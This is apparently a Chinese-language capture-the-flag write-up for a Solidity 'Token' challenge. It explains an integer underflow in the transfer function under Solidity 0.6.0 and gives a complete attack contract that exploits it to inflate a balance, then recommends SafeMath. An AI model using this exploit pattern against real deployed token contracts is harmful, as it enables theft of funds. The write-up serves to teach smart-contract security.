Skip to main content

Token

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

题目要求

这道题目初始化时,给player打了 20 个 Token,要求只要能让player的 Token 数量变多就可以

题目分析

这个题目的突破口从transfer方法入手。我们看到transfer转账时,针对msg.sender做了一些加减以及条件检查。但是里面有个严重漏洞就是溢出。在solidity 0.6.0版本里0 - 100会溢出成正数。所以以下两句检查相当于无效

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

这里如果我们通过把_to填写成我们自己的地址,由于msg.sender是我们自己的账号,所以下面两句加减运算抵消了。相当于什么都没操作

balances[msg.sender] -= _value;
balances[_to] += _value;

所以这里我们部署一个合约,让通过我们的合约给自己转账,则msg.sender就是我们的合约。这样就可以无限转账

攻击步骤

  1. 编写以下攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;

interface IToken {
function transfer(address _to,uint _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}

contract TokenAttack {
event ValueInfo(uint256 value);
function attackToken(IToken _token,address _to,uint256 _value) external {
bool success = _token.transfer(_to,_value);
require(success,"attack failed");
require(_token.balanceOf(_to) > 20,"balance not increase");
}
}
  1. 调用攻击合约的attackToken方法,只要把value填写成大于 0 的数字就可以实现给自己转账

题目知识点

solidity 0.6.0版本中,0 减去正数会溢出成正数。所以推荐使用SafeMath库来规避溢出问题